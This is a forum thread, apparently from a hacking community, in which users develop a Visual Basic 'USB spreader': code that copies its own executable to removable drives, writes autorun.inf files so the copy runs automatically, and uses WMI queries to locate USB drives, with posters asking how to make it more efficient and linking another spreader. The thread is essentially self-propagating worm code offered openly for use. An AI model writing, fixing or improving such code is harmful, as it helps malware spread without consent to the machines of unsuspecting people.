Thread: Usb Spread Help

honestly i don't know much about usb spreading but i came up with this, can someone help me make it better and more efficient?

Code:

File = setup.exe
FileCopy wfile, "d:\" & File
FileCopy wfile, "e:\" & File

Open "d:\autorun.inf" For Output As 1    
Print #1, "[autorun]"
Print #1, "open=setup.exe"
Close #1,
Open "e:\autorun.inf" For Output As 2                                        
Print #2, "[autorun]"
Print #2, "open=setup.exe"                                                                                
Close #2

Maybe this helps: detecting usb token in vb [Archive] - Xtreme Visual Basic Talk

or this

CodeGuru Forums - Detecting USB device when connecting them

I found this code,

Code:

Private Sub Form_Load()
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colDisks = objWMIService.ExecQuery _
("Select * from Win32_LogicalDisk")

For Each objDisk In colDisks
	If objDisk.DriveType = 2 Then
		msg = msg & "Name: " & objDisk.Name & vbCr
	End If
Next

MsgBox msg
End Sub

The msgbox shows which drive the usbdrive is on, how can i add the filecopy api? I tried to add it 5 times, and it keeps coming up with errors.

which errors?

Originally Posted by k0st0n

which errors?

I tried to do it like this,

Dim USB As String
USB = objDisk.Name
FileCopy App.Path & App.EXEName & ".exe", USB & "\test.exe"

but, filenotfound error

I posted my USB spreader in another thread. Check it out as it may be of some help.

http://www.opensc.ws/snippets/3643-i...b-devices.html